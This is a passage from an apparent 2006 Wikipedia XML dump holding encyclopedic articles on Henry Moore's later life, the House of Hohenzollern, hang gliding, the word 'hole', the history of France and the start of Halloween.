[[Image:Henry moore hill arches at the NGA.JPG|left|thumb|''Hill Arches'' (1972-73) bronze, at the [[National Gallery of Australia]].]]

As his personal wealth grew dramatically, Moore began to worry about his legacy. With the help of his daughter Mary, he set up the Henry Moore Trust in [[1972]], with a view to protecting his estate from [[death duties]]. By [[1977]] he was paying about a million pounds a year, in tax. To mitigate this tax burden he established the Henry Moore Foundation as a registered charity with Irina and Mary as trustees. The Foundation was established to promote the public appreciation of art and to preserve Moore's sculptures. It now runs Hoglands as a gallery and museum of Moore's workshops.

Although Moore had turned down a [[knighthood]] in [[1951]] he was later awarded the [[Order of the Companions of Honour|Companion of Honour]] in [[1955]] and the [[Order of Merit]] in [[1963]].

Henry Moore died on [[31 August]], [[1986]], at the age of 88, in his home in Hertfordshire. His body is interred in the Artist's Corner at [[St Paul's Cathedral]].

On Thursday December 15, 2005, thieves gained access to the courtyard of the Henry Moore Foundation and stole a bronze statue worth £3m ($5.3m). The 1969/1970 work, known as ''Reclining Figure LH608'' is 3.6m long, 2m high by 2m wide and weighs 2.1 tonnes.  A substantial reward has been offered by the Foundation for information leading to its recovery. It is feared it may have been stolen for melting down as scrap metal. [http://www.guardian.co.uk/arts/news/story/0,11711,1670368,00.html]

==Permanent exhibitions==
[[Image:Henry-moore-ago.jpg|750px|center|thumb|Panorama of the [[Art Gallery of Ontario]]'s Henry Moore collection, the largest public collection of the sculptor's works in the world.]]

Moore's sculptures and drawings can be seen at numerous national art galleries around the world. Notable collections are held at
[[Image:henry.moore.locking.piece.arp.500pix.jpg|thumb|right|200px|''Locking Piece'' (1963) bronze, presented to the [[Tate Gallery]] and now sited in [[Millbank]] near the [[Tate Britain]].]]
*[[Nelson-Atkins Museum of Art]], largest collection of monumental bronzes in the United States
*[[Henry Moore Foundation]], [http://www.henry-moore-fdn.co.uk], Perry Green, Much Hadham, Hertfordshire, UK
*[[Henry Moore Institute]], Leeds, UK
*[[Tate Gallery]], London, UK
*[[Art Gallery of Ontario]], Toronto, Canada
*[[Yorkshire Sculpture Park]], near Leeds, UK
*[[Albright-Knox Art Gallery]], Buffalo, New York
*[[Sainsbury Centre for Visual Arts]], and dotted around the campus of [[University of East Anglia|UEA]], [[Norwich]], UK.
* Wakefield City Art Gallery, UK
*[[Paço imperial]], Rio de Janeiro, RJ

==References==
*[http://www.henry-moore-fdn.co.uk/matrix_engine/content.php?page_id=56 Biography from the Henry Moore foundation] &lt;!-- was http://www.henry-moore-fdn.co.uk/site/thesite/pages/biography.html accessed October 2004 --&gt;
*[http://www.sculpture.org/documents/scmag01/julaug01/moore/moore.shtml Review in Sculpture Magazine]
*[http://www.britainunlimited.com/Biogs/MooreH.htm List of dates from Moore's biography at Britain Unlimited]
* {{cite book | author = ''Unknown Author'' | title = Henry Moore: At Dulwich Picture Gallery | id = ISBN 1857593529 | publisher = Scala Publishers | year = 2004 }}
* {{cite book | author = [[John Hedgecoe]] | title = A Monumental Vision: The Sculpture of Henry Moore | year = 1998 | id = ISBN 1556706839 | publisher = Collins &amp; Brown Ltd}}

==External links==
{{Commons|Henry Moore}}
*[http://www.henry-moore-fdn.co.uk/ Henry Moore Foundation]
*[http://www.henry-moore-fdn.co.uk/site/thesite/pages/perrygreen/map/map.html selection of late sculptures] at the ''Henry Moore Foundation''.
*[http://www.tate.org.uk/collections/insight_sit.htm 3D model of 'Recumbent Figure'] from the Tate

{{featured article}}

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[[Category:1986 deaths|Moore, Henry]]
[[Category:British sculptors|Moore, Henry]]
[[Category:Modern sculptors|Moore, Henry]]
[[Category:Leeds|Moore, Henry]]
[[Category:Erasmus Prize winners|Moore, Henry]]
[[Category:Natives of Yorkshire|Moore, Henry]]

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  <page>
    <title>Hohenzollern</title>
    <id>13849</id>
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      <id>40095815</id>
      <timestamp>2006-02-18T02:31:06Z</timestamp>
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        <username>Perey</username>
        <id>75986</id>
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      <comment>Article needed SOME sort of introduction; copied this from the category page</comment>
      <text xml:space="preserve">The '''House of [[Hohenzollern]]''' is a Germany dynasty of electors, kings, and emperors of [[Prussia]], [[Germany]], and [[Romania]].

==Margraves of Brandenburg-Ansbach==
:''See [[Margrave of Ansbach]]

== Margraves of Brandenburg-Bayreuth ==
:''See [[Margrave of Bayreuth]]

There were also Margraves of Brandenburg-Culmbach, Brandenburg-Kuestrin, Brandenburg-Ansbach-Bayreuth and many more.

== Dukes of Prussia ==

*[[Albert of Prussia]] (1525–1568)
*[[Albert Frederick]] (1568–1618)
*[[Joachim II]] Hector Co-Inheritor (1568–1571)
*[[Georg Friedrich]] (Regent, 1578–1603)
*[[Joachim Friedrich]] (Regent, 1603–1608) 
*[[Johann Sigismund]] (1618–1619; Regent, 1608–1618)
*[[Georg Wilhelm]] (1619–1640) 
*[[Friedrich Wilhelm I of Brandenburg|Friedrich Wilhelm I]] (1640–1688) 
*[[Frederick I of Prussia|Friedrich III]] (1688–1701), later King Friedrich I

== [[List of Kings of Prussia|Kings of Prussia]] == 

*[[Friedrich I of Prussia]] (1701–1713), formerly Friedrich III
*[[Friedrich Wilhelm I of Prussia|Friedrich Wilhelm I]] (1713–1740)
*[[Friedrich II of Prussia]] &quot;Frederick the Great&quot; (1740–1786)
*[[Frederick William II of Prussia]] (1786–1797)
*[[Frederick William III of Prussia]] (1797–1840)
*[[Frederick William IV of Prussia]] (1840–1861)
*[[Wilhelm I of Germany|Wilhelm I]] (1861–1888)
*[[Friedrich III of Germany (Hohenzollern)|Friedrich III]] (1888)
*[[Wilhelm II of Germany|Wilhelm II]] (1888–1918)

== [[List of German Kings and Emperors|German Emperors]] ==

*[[Wilhelm I of Germany|Wilhelm I]] (1871–1888) 
*[[Friedrich III of Germany (Hohenzollern)|Friedrich III]] (1888)
*[[Wilhelm II]] (1888–1918)

The Hohenzollern family continues to exist, and since Wilhelm's death the [[Scion (disambiguation)|scions]] have been:

*[[Crown Prince Wilhelm of Germany|Crown Prince Wilhelm of Prussia]] (1941–1951)
*[[Louis Ferdinand|Prince Louis Ferdinand of Prussia]] (1951–1994)
*[[Prince Georg Friedrich of Prussia]] (1994– )

Another branch of the Hohenzollerns, actually the dynastically senior line, the [[Hohenzollern-Sigmaringen]]s, were also important landowners in pre-German-Empire Germany, and later were the princes (1866–1881) and kings (1881–1947) of [[Romania]]. French opposition to their candidacy for the throne of [[Spain]] led to the [[Franco-Prussian War]] (1870–1871) and the founding (January 1871) of the [[German Empire]]. 

== [[Kings of Romania]] ==

*[[Charles I of Romania|Carol I]] (1881–1914; Prince 1866–1881)
*[[Ferdinand of Romania|Ferdinand]] (1914–1927)
*[[Michael I of Romania|Michael]] (1927–1930 and 1940–1947)
*[[Charles II of Romania|Carol II]] (1930–1940)

==See also==
*[[Junker]]

[[Category:Royal families|Hohenzollern]]
[[Category:House of Hohenzollern]]
[[Category:German nobility]]

[[da:Hohenzollern]]
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  </page>
  <page>
    <title>Hang gliding</title>
    <id>13850</id>
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      <minor />
      <comment>/* Other */  Fix Yahoo Hang Glider History group link</comment>
      <text xml:space="preserve">'''Hang gliding''' is an [[air sport]]. It is both a [[recreation]]al and competitive [[sport]] closely related to [[paragliding]] and [[gliding]] (flying [[sailplanes]]), but using a much simpler and less expensive craft consisting of an aluminum- or composite-framed fabric [[wing]], with the [[aviator | pilot]] mounted on a harness hanging from the wing frame and exercising control by shifting body weight.
[[image:hangglider.austria.750pix.jpg|thumb|400px|Hang glider preparing to launch in the Austrian Alps, above [[Zell am See]]]]

== Classes ==

Broadly there are two classes of hang glider. A flexible wing hang glider, having flight controlled  by a wing whose shape changes in virtue of the shifted weight of the pilot. This is not a [[paraglider]]. The second class is a rigid wing hang glider, having flight controlled by [[spoiler (aeronautics)|spoiler]]s, typically on top of the wing.

In both flexible and rigid wings the pilot hangs below the wing without any additional fairing. A third class of hang gliders exists (officially called Sub-Class O-2 by the FAI) where the pilot is integrated into the wing by means of a fairing. This offers the best performance and is the most expensive. All types of hang gliders can be foot-launched, while landing some class-2 hang gliders is only possible on wheels.

== History ==
{{main|History of flexible wing hang gliding}}

=== Overview ===
The early experiments with gliding flight were made throughout the late 19th century by pioneers such as [[Otto Lilienthal]]. These craft would now be considered hang gliders.

Modern hang gliding was invented, or at least strongly influenced, by the [[NASA]] technician [[Francis Rogallo]] in 1948 with the invention of the Flexkite. This device was considered as a possible landing system for the astronauts return to earth. From there, much of the development of hang gliders occurred in [[Australia]], where the first hang glider manufacturing firms were established.  Hang gliding then became popular world-wide, with the peak in the 1980s. An alternative to hang gliding is [[Paragliding]] since the gear is more easily transported, although it offers lower performance.

=== History of Rigid Wing Hang Gliding  ===

The first notable hang gliders to abandon the [[Rogallo wing]] were [[Kiceniuk Icarus I|Icarus I]] and [[Kiceniuk Icarus II |Icarus II]], built in 1971 and 1972 respectively [http://www.nasm.si.edu/research/aero/aircraft/icarus.htm]. These were rigid biplane flying wing designs by [[Taras Kiceniuk, Jr]].. [[Kiceniuk Icarus V| Icarus V]] was the precursor to the modern hang glider. It was essentially a monoplane version of the previous Icarus designs. All of the hang gliders in the Icarus series had hand-controlled rudders and the pilot flew in a reclining position (rather than a prone position as with other hang gliders). Although many [[Kiceniuk Icarus II |Icarus II]] and [[Kiceniuk Icarus V| Icarus V]] gliders were built from plans sold by [[Taras Kiceniuk, Jr|Kiceniuk]], they were never commercially produced. 

In the late 1990's the first commercially successful rigid wing hang glider came on the market (the &quot;Exxtacy&quot;) with a leading edge of carbon fiber, which does not deform. The nose angle and wing span is a little higher, and the sail is rather stiff.

== Flying ==

Launch techniques include foot-launching from a hill, tow-launching from a ground-based tow system, aerotowing (behind another powered aircraft), and powered harnesses.  Other, more exotic launch techniques have also been used successfully, such as hot-air balloon drops for very high altitude launches.  In flight, conditions can be either soarable or not soarable (flights in non-soarable conditions are referred to as &quot;sled runs&quot;).  Soaring flight can be sustained generally through thermals (caused by solar heating of surface air) or ridge lift (caused by wind rising over geographical features), or both.  Flights powered by ridge lift are generally confined to the vicinity of the ridge (which can be very high and long in mountainous regions) or coastal cliff, while thermal flights can extend over great distances and reach thousands of feet in altitude over mountains and flatlands.

A handy FAQ can be found here: [http://members.aol.com/dfscinc/faq.html]

== Safety ==

[[Image:03810008.JPG|right|thumb|250px|Tandem Hang Gliding over São Conrado, Rio de Janeiro, Brazil]]

While hang gliding has traditionally been considered a highly unsafe sport, the gliders themselves are as safe as any other aircraft when constructed by HGMA, BHPA or DHV*-certified manufacturers using modern materials.  All modern gliders have built-in stall recovery mechanisms (such as luff lines in kingposted gliders) and are designed and tested for as much stability as possible, depending on the performance characteristics desired.  Pilot safety is, as in all other forms of aviation, a matter of training (through certified instructors) and self-discipline.

As a backup, pilots carry a [[parachute]] with them in the harness. In case of serious problems the parachute is deployed (thrown by hand) and carries both pilot and glider down to earth. The size is typically 30 m&lt;sup&gt;2&lt;/sup&gt; and the related sink rate should not exceed 6 to 7 m/s (but can be less, depending on the state of the glider).  This is still sufficient to break some bones, so pilots are encouraged to climb into their control frame after a parachute deployment to allow the frame to absorb some of the impact energy.  Some pilots have used rocket-assisted (pyrotechnic or compressed air) parachutes to increase the chances of a successful parachute deployment, but these systems proved unreliable enough that carrying a hand-deployed backup parachute was deemed necessary, so most just carry a single, hand-deployed system.  Many hang gliding clubs hold regular parachute deployment clinics to practice this emergency technique on the ground and to encourage regular inspection and re-packing of parachutes.

Pilots also wear helmets and generally carry one or more other safety items such as hook knives (for cutting their parachute bridle after impact or cutting their harness lines and straps in case of a tree or water landing), light ropes (for lowering from trees to haul up tools or climbing ropes), radios (for calling for help), and first aid equipment.

Another issue that has dramatically improved the safety of the modern hang glider pilot is training. Early hang glider pilots learned their sport through trial and error. Much of that very error has lead to effective training techniques and programs developed for today's novice pilot. While the pitch and roll stability built into modern hang gliders helps prevent high altitude problems in flight, these features require altitude to take effect. If a stall or slipping turn happens while close to the ground or other obstacle then the glider will not have the time to self correct. This has placed the prevention of accidents during launch and landing as the main priority of early training.

== Performance (2003) ==

*Topless gliders: [[glide ratio]] ~14:1, speed range ~30 to &gt;100 km/h, best glide at ~45 to 50 km/h
*Rigid wings: [[glide ratio]] ~18:1, speed range ~ 35 to &gt; 100 km/h, best glide at ~50 to 55 km/h

''Note:'' [[Glide ratio]] is typically not provided by the manufacturers as it is nearly impossible to measure reliably and because the pilot is in the airstream (unlike in a sailplane) depends on many factors like pilot weight, pilot position, harness design, helmet, placement of instruments and so on.

== Costs (2003) ==

*Rigid wings: ~10000 [[Euro]]
*Topless gliders: 5-6000 Euro
*Intermediates: ~4000 Euro
*Beginner gliders: &lt; 3000 Euro
*Harness: 500 - 1500 Euro
*Parachute: ~ 500 Euro
*Instruments: 200 - 1000 Euro
*School: 2-3 lessons (introductory package) 3-400 Euro
*School: 10 lessons (full course) 8-1000 Euro

== Records ==

Records fall into nearly the same categories as those for [[sailplanes]] and are authorized by the [[Federation Aeronautique Internationale|FAI]]. The [http://records.fai.org/hang_gliding/ current world record(s)] (as of 2005) for &quot;free distance&quot; is held by [[Manfred Ruhmer]] with 700,6 km in 2001, but Mike Barber has flown an uncertified distance of 704 km (437 miles) on June 19th 2002 in Zapata Texas.

== Competition ==

Competitions started with &quot;flying as long as possible&quot; and spot landings. With increasing performance cross-country flying replaced them. Hang gliding competitions are like a 3d boat race in the sky where the clouds act like gas stations.  Usually two to four waypoints have to be passed with a landing at a goal. In the late '90s low-power [[GPS]] units were introduced and have replaced the photographs completely. Every two years there is a world championship. The Rigid and Women's World Championship in 2006 is being hosted by [http://www.questairforce.com/ Quest Air in Florida]Big Spring, Texas is hosting the 2007  [http://events.fai.org/hgpg/results.asp World Championship].

== Related sports ==

The two related sports are: [[gliding]], in which the [[gliders]] have full control surfaces and an enclosed cockpit, and [[paragliding]], where a sophisticated kind of parachute is used

== External links ==
{{Commons|Hang gliding}}

=== International Organisation ===

*[http://www.fai.org/hang_gliding/ Hang Gliding and Paragliding Commission of FAI]

=== National Organisations ===

*[http://www.ushga.org/ United States Hang Gliding Association]
*[http://www.bhpa.co.uk British Hang Gliding and Paragliding Association]
*[http://www.abvl.com.br/ Brazilian Hang Gliding Association]
*[http://www.zeilvliegen.nl/ Dutch official hanggliding site]
*[http://www.dhv.de/english/index.html German Hanggliding Association (English)]
*[http://www.hgfa.asn.au/ Hang Gliding Federation of Australia]
*[http://www.hpac.ca/ Hang Gliding and Paragliding Association of Canada]

=== Hang glider manufacturers ===

* [http://www.aeros.com.ua/ Aeros]
* [http://www.airborne.com.au/ Airborne]
* [http://www.usairnet.com/HangGliding/HangGliders/Avian.html Avian]
* [http://www.bautek.com/ Bautek]
* [http://www.icaro2000.com/ Icaro]
* [http://www.finsterwalder-charly.de/ Finsterwalder]
* [http://www.lamouette.com/ La Mouette]
* [http://www.moyes.com.au/ Moyes]
* [http://www.seedwings.com/ Seedwings]
* [http://www.willswing.com/ Wills Wing]

=== Other ===
*[http://www.delta-club-82.com/bible/bible-home.php Hang glider bible]
*[http://ozreport.com/ The Oz Report - Worldwide Hang Gliding eZine and blog]
*[http://groups.yahoo.com/group/HangGliderHistory Yahoo Hang Glider History group]
*[http://records.fai.org/hang_gliding/ Current hang gliding records]
*[http://weshill.customer.netspace.net.au/ 2005 World Championship Results]
*[http://www.hangglide-utah.com/cgi-bin/photos.pl Hang Gliding Photos]
*[http://www.redbull-vertigo.com/ Red Bull Vertigo : 1st FAI Hang Gliding and Paragliding World Acrobatic Championship 2006]

[[Category:Hang gliding]]

[[da:Hanggliding]]
[[de:Hängegleiter]]
[[fr:Deltaplane]]
[[id:Hang gliding]]
[[it:Deltaplano]]
[[nl:Deltavliegen]]
[[ja:ハンググライダー]]
[[pl:Lotnia]]
[[sk:Závesné lietanie]]
[[sr:Змајарство]]</text>
    </revision>
  </page>
  <page>
    <title>Hole</title>
    <id>13851</id>
    <revision>
      <id>42101689</id>
      <timestamp>2006-03-03T21:09:37Z</timestamp>
      <contributor>
        <username>GilliamJF</username>
        <id>506179</id>
      </contributor>
      <comment>interwiki de</comment>
      <text xml:space="preserve">{{disambig}}

The term '''''hole''''' may refer to various cavities and (not necessarily physical) voids :

* '''[[Black hole]]''' 
* '''[[Electron hole]]''', the absence of an [[electron]] in the [[valence band]] in [[solid state physics]] and [[electronics]].
* A security vulnerability in software which can be taken advantage of by an [[exploit (computer science)]].
* '''[[White hole]]''', the opposite of a black hole.
* '''[[Punchhole]]''', for filing paper
* '''[[hole (poker)]]''', a term in the game of [[poker]]
* '''[[Memory hole (computer science)|Memory hole]]''', in [[computer science]], a [[contiguous]] block of available [[memory]]. 
* in [[golf]], one of the aims of each part of the course to cross, and hence this strech
* a body cavity; in particular the [[anus]], also in various compounds e.g. arse-hole 
* a place where a prisoner is kept, either long-term (like an [[oubliette]]) or as a prison punishment (such as full isolation, or a very hot spot)

In arts:
* '''[[Holes (song)|Holes]]''', a single by the trio [[Rock (music)|rock]] group [[Smile Empty Soul]], from their [[2005]] album ''[[Anxiety (album)|Anxiety]]''.
* '''''[[Holes (book)|Holes]]''''', a novel by [[Louis Sachar]], and the movie (starring Shia LaBeouf and Khleo Thomas) based on the novel, with the screenplay by Sachar himself
* '''[[Hole (band)|Hole]]''', a [[musical group]] fronted by [[Courtney Love]] that was disbanded in [[2002]].
*'''''[[Hole (album)|Hole]]''''', an album by [[Scraping Foetus Off The Wheel]].
* '''[[Holes]]''' is a [[2003]] film, starring [[Sigourney Weaver]] and [[Jon Voight]].

Furthermore, in geography:
* '''[[Hole, Norway]]''', a [[municipality]] in the county of [[Buskerud]], [[Norway]].

[http://img292.echo.cx/img292/1322/pic004715zu.jpg The biggest hole in the world]

{{wiktionary}}

[[de:Loch]]
[[fr:Trou]]
[[nl:Hol]]
[[nn:hol]]
[[pl:Dziura]]
[[pt:Hole]]
[[ru:Дыра]]
[[sv:Hål]]</text>
    </revision>
  </page>
  <page>
    <title>Ancient Greece/temp</title>
    <id>13853</id>
    <revision>
      <id>15911441</id>
      <timestamp>2004-10-16T17:04:47Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <comment>merge and redirect to Ancient Greece</comment>
      <text xml:space="preserve">#REDIRECT [[Ancient Greece]]</text>
    </revision>
  </page>
  <page>
    <title>History of France</title>
    <id>13854</id>
    <revision>
      <id>42059723</id>
      <timestamp>2006-03-03T14:58:46Z</timestamp>
      <contributor>
        <username>Mjpieters</username>
        <id>86312</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/66.199.196.131|66.199.196.131]] to last version by Mjpieters</comment>
      <text xml:space="preserve">{{History of France}}
The '''History of France''' has been divided into a series of separate historical articles navigable through the template to the right.  The '''chronological era''' articles address broad French historical, cultural and sociological developments.  The '''dynasty and regime''' articles deal with the specific political and governmental regimes in France.  The history of other cultural '''topics''' such as French art and literature can be found on their own pages.  For information on today's France, see [[France]].  For other information, go to [[Portal:France]].

== Historical Overview ==

=== Gaul ===
{{main articles|[[Gaul]] and [[Roman Gaul]]}}
Settled mainly by [[Celt]]ic peoples (that the Romans referred to as the &quot;Gauls&quot;), and apart from a shrinking area of [[Basque people|Basque]] population in the southwest and [[Ligures|Ligurian]] population on the southern coast, the area of modern [[France]] comprised the bulk of the region of Gaul ([[Latin]]: ''Gallia'') under the rule of the [[Roman Empire]] from the [[1st century BC]] to the [[5th century|5th century AD]].

=== France in the Early Middle Ages ===
{{main|Frankish Empire}}
In [[486]], [[Clovis I]], leader of the [[Salian Franks]] to the east, conquered the [[Kingdom of Soissons|Roman territory between the Loire and the Somme]], subsequently uniting most of northern and central France under his rule and adopting in [[496]] the [[Roman Catholic Church|Roman Catholic]] form of [[Christianity]] (over the [[Arianism]] preferred by rival [[Germanic tribes|Germanic]] rulers). 

After Clovis's death in [[511]] his realm underwent repeated division while the [[Merovingian]] dynasty eventually lost effective power to their successive [[Mayor of the Palace]], the founders of what was to become the [[Carolingian]] dynasty. The assumption of the crown in [[751]] by [[Pippin III|Pipin the Short]] (son of [[Charles Martel]]) established Carolingian rule. 

The new rulers' power reached its fullest extent under Pepin's son [[Charlemagne]], who in [[771]] reunited the Frankish domains after a further period of division, subsequently conquering the [[Lombards]] under [[Desiderius]] in what is now northern [[Italy]] ([[774]]), incorporating [[History of Bavaria#The Franks|Bavaria]] ([[788]]) into his realm, defeating the [[Eurasian Avars |Avars]] of the [[Danube|Danubian]] plain ([[796]]), advancing the frontier with [[Al-Andalus|Islamic Spain]] as south as [[Barcelona]] ([[801]]), and subjugating [[Lower Saxony]] ([[804]]) after prolonged campaigning. 

In recognition of his successes and his political support for the [[Papacy]], Charlemagne was in [[800]] crowned Emperor of the Romans, or Roman Emperor in the West, by [[Pope Leo III]]: on the death of his son [[Louis the Pious|Louis I]] (emperor [[814]]-[[840]]), however, the empire was divided among Louis's three sons ([[Treaty of Verdun]], [[843]]). After a last brief reunification ([[884]]-[[887]]), the imperial title ceased to be held in the western part which was to form the basis of the future French kingdom.

See also:
* [[List of Frankish Kings]] 
* [[Merovingian]]s
* [[Carolingian]]s
* [[Carolingian Empire]]

=== France in the Middle Ages ===
From the ninth to the fifteenth century.
{{main|France in the Middle Ages}}
See also:
* [[Capetian Dynasty]]
* [[Valois Dynasty]]
* [[Hundred Years War]]

=== Early Modern France ===
[[Image:France 1552 to 1798-en.png|thumb|250px|right]]
From the fifteenth century to 1789.
{{main|Early Modern France}}
The Early Modern period in French history spans the following reigns:
* [[Valois Dynasty]]
** [[Louis XI of France|Louis XI]]
** [[Charles VIII of France|Charles VIII]]
** [[Louis XII of France|Louis XII]]
** [[Francis I of France|Francis I]]
** [[Henry II of France|Henry II]] and [[Catherine de Medici]]
** [[Francis II of France|Francis II]]
** [[Charles IX of France|Charles IX]]
** [[Henry III of France|Henry III]]
* [[House of Bourbon]]
** [[Henry IV of France|Henry IV]]
** the Regency of [[Marie de Medici]]
** [[Louis XIII of France|Louis XIII]] and his minister [[Cardinal Richelieu]]
** the Regency of [[Anne of Austria]] and her minister [[Mazarin|Cardinal Mazarin]]
** [[Louis XIV of France|Louis XIV]]
** the [[Régence]] of [[Philip II, Duke of Orléans|Philip II of Orleans]]
** [[Louis XV of France|Louis XV]]
** [[Louis XVI of France|Louis XVI]]
See also:
* [[French Renaissance]]
* [[Wars of Religion]]
* [[Ancien Régime]]
* [[Louis XIV of France]]
* [[Age of Enlightenment]]

=== France in the Nineteenth Century ===
From the Revolution to World War I.
{{main|France in the nineteenth century}}
See also:
* [[French Revolution]]
**[[Causes of the French Revolution]]
**[[Estates-General of 1789]]
**[[National Assembly (French Revolution)|National Assembly]]
**[[Storming of the Bastille]]
**National Constituent Assembly
***[[National Constituent Assembly]]
***[[French Revolution from the abolition of feudalism to the Civil Constitution of the Clergy]]
***[[French Revolution from the summer of 1790 to the establishment of the Legislative Assembly]])
**[[Legislative Assembly (France)|Legislative Assembly]]
**[[The Legislative Assembly and the fall of the French monarchy]]
**[[National Convention|National Convention]]
**[[Reign of Terror|Reign of Terror]]
**[[French Directory|Directory]]
**[[French Consulate|Consulate]]
**[[Glossary of the French Revolution|Glossary]]
**[[Timeline of the French Revolution|Timeline]]
**[[French Revolutionary Wars|Wars]]
**[[List of people associated with the French Revolution]]
**[[List of historians of the French Revolution]]
* [[First French Empire|First Empire]] of [[Napoleon I of France|Napoleon]], [[Napoleonic Wars]], [[Continental System]]
* [[French Restoration|Restoration]] of [[Louis XVIII of France|Louis XVIII]] and [[Charles X of France|Charles X]]
* [[July Revolution]] (1830) and the [[July Monarchy]] of [[Louis-Philippe of France|Louis-Philippe]] (often treated as a continuation of the Restoration)
* [[1848 Revolution]]
* [[French Second Republic]]
* [[Second French Empire|Second Empire]] of [[Napoleon III]]
* [[Franco-Prussian War]], [[Paris Commune]]
* [[French Third Republic]]

=== France In Modern Times ===
From World War I to today.
{{main|France in modern times}}
See also:
* [[French Third Republic]]
* [[Vichy France]]
* [[French Fourth Republic]]
* [[French Fifth Republic]] created by [[Charles de Gaulle]]

==See also==
* [[List of French monarchs]]
* [[House of Bourbon|Bourbon Dynasty]]
* [[Kings of France family tree]]
* List of every [[President of France]]
* [[French colonization of the Americas]]
* [[Timeline of French history]]

== Further reading ==

* André Maurois, ''A History of France''

[[Category:History of Europe|France]]
[[Category:History of France|*]]

{{Link FA|he}}

[[bg:История на Франция]]
[[cs:Dějiny Francie]]
[[cy:Hanes Ffrainc]]
[[da:Frankrigs historie]]
[[de:Geschichte Frankreichs]]
[[es:Historia de Francia]]
[[eo:Historio de Francio]]
[[fa:تاریخ فرانسه]]
[[fr:Histoire de France]]
[[ko:프랑스의 역사]]
[[io:Historio di Francia]]
[[it:Storia della Francia]]
[[he:היסטוריה של צרפת]]
[[la:Historia Gallorum]]
[[lt:Prancūzijos istorija]]
[[hu:Franciaország története]]
[[nl:Geschiedenis van Frankrijk]]
[[ja:フランスの歴史]]
[[no:Frankrikes historie]]{{Link FA|no}}
[[pl:Historia Francji]]
[[pt:História da França]]
[[ru:История Франции]]
[[sl:Zgodovina Francije]]
[[fi:Ranskan historia]]
[[sv:Frankrikes historia]]
[[th:ประวัติศาสตร์ฝรั่งเศส]]
[[zh:法國歷史]]</text>
    </revision>
  </page>
  <page>
    <title>Halloween</title>
    <id>13855</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41058678</id>
      <timestamp>2006-02-24T20:12:14Z</timestamp>
      <contributor>
        <ip>80.223.53.215</ip>
      </contributor>
      <text xml:space="preserve">{{otheruses}}

{{Infobox Holiday |
|holiday_name=Halloween
|image=Jack-o'-Lantern_2003-10-31.jpg
|caption=A [[jack-o'-lantern]]
|color1=#FA4900
|color2=#FA4900
|color3=#FA4900|nickname=Hallow Eve, All Saints' Eve
|observedby=Many Western nations, including the [[United States of America|USA]], [[Ireland]], the [[United Kingdom]], and [[Canada]]
|date=[[October 31]]
|celebrations=[[Trick-or-treat|Trick-or-treating]], [[Bobbing for apples]], [[Costume party|Costume parties]], Carving [[jack-o'-lantern]]s
|type=Religious, Cultural
|significance=There are many sources of the significance of Halloween
}}

'''Halloween''' is an observance celebrated  on the night of [[October 31]], most notably by children dressing in costumes and going door-to-door collecting sweets or money. It is celebrated in much of the [[Western world]], though most common in the [[United States]], [[Puerto Rico]], [[Ireland]], the [[United Kingdom]], [[Canada]] and most places in [[Australia]]. [[Ireland|Irish]], [[Scotland|Scots]] and other immigrants brought older versions of the tradition to North America in the 19th century. Most other Western countries have embraced Halloween as a part of American [[pop culture]] in the late 20th century.

The term '''Halloween''' comes from ''hallow'' and ''eve'', as it is the evening before [[All Saints|&quot;All Hallows Day&quot;]]. In [[Ireland]], the name was '''Hallow Eve''' and this name is still used by some older people. Halloween was also sometimes called '''All Saints' Eve'''. The holiday was a day of religious festivities in various northern [[Europe|European]] [[Paganism|pagan]] traditions, until it was appropriated by [[Christian]] missionaries and given a Christian interpretation.  In [[Mexico]], [[Belgium]], and [[Italy]], November 2nd, the day after All Hallows Day, is the [[Day of the Dead]]. 

Halloween is also called ''Pooky Night'' in some parts of Ireland, presumably named after the [[púca]], a mischievous spirit.

In [[Great Britain]] and [[Ireland]] in particular, the pagan [[Celt]]s celebrated the Day of the Dead on All Hallows Day (1st November). The spirits supposedly rose from the dead and, in order to attract them, food was left on the doors. To scare off the evil spirits, the [[Celts]] wore masks.  When the [[Roman Empire|Romans]] invaded Britain, they embellished the tradition with their own, which is both a celebration of the harvest and of honoring the dead. Very much later, these traditions were transported to the [[United States]] and [[Canada]] and other places in the [[New World]].

Halloween is sometimes associated with the [[occult]]. Many European cultural traditions hold that Halloween is one of the &quot;liminal&quot; times of the year when the spirit world can make contact with the natural world and when [[magic (paranormal)|magic]] is most potent (e.g. [[Catalan mythology about witches]]).

[[Anoka, Minnesota]], USA, the self-proclaimed &quot;Halloween Capital of the World,&quot; celebrates with a large civic [[parade]].

[[Salem, Massachusetts]], USA, also has laid claim to the title &quot;Halloween Capital of the World,&quot; though Salem has tried to separate itself from its history in the subject of [[witchcraft]].  Despite that, the city does see a great deal of tourism surrounding the [[Salem witch trials]], especially around Halloween.

==Symbols== [[image:jackolantern.JPG|thumb|right|Jack-o'-lanterns may be carved with funny faces.]]

Halloween's theme is spooky or scary things particularly involving death, magic, or mythical [[monster]]s. Commonly-associated Halloween characters include [[ghost]]s, [[ghoul]]s, [[witch]]es, [[bat]]s, [[black cat]]s, [[owl]]s, [[spider]]s, [[goblin]]s, [[zombie]]s, [[skeleton]]s and [[demon]]s, as well as certain fictional figures like [[Dracula]] and [[Frankenstein's monster]]. Homes are often decorated with these symbols around Halloween.

[[Black]] and [[orange (colour)|orange]] are the traditional colors of Halloween.  In modern Halloween images and products, [[purple]], [[green]], and [[red]] are also prominent.  

Elements of the [[autumn]] season, such as [[pumpkin]]s and [[scarecrow]]s, are also reflected in symbols of Halloween.

The [[jack-o'-lantern]], a carved vegetable lit by a candle inside, is one of Halloween's most prominent symbols. In Britain and Ireland, a [[Rutabaga|turnip]] was and sometimes still is used, but immigrants to America quickly adopted the [[pumpkin]] because it was more readily available; additionally, it is much larger and easier to carve. Many families that celebrate Halloween carve a pumpkin into a frightening or comical face and place it on their home's doorstep after dark. The practice was originally intended to frighten away evil spirits or monsters.

==Trick-or-treating and guising==

The main event of modern US-style Halloween is [[trick-or-treat]]ing, in which children dress up in [[Halloween costume|costume]] disguises and go door-to-door in their neighborhood, ringing each doorbell and yelling &quot;trick or treat!&quot; This is a watered-down version of the older tradition of ''[[guising]]'' in [[Ireland]] and  [[Scotland]]. The occupants of the house (who might themselves dress in a scary costume) will then hand out small [[candy|candies]], miniature [[chocolate bar]]s or other treats. Some American homes will use [[sound effects]] and [[fog machine]]s to help set a spooky mood. Other house decoration themes (that are less scary) are used to entertain younger visitors. Children can often accumulate many treats on Halloween night, filling up entire pillow cases or shopping bags.

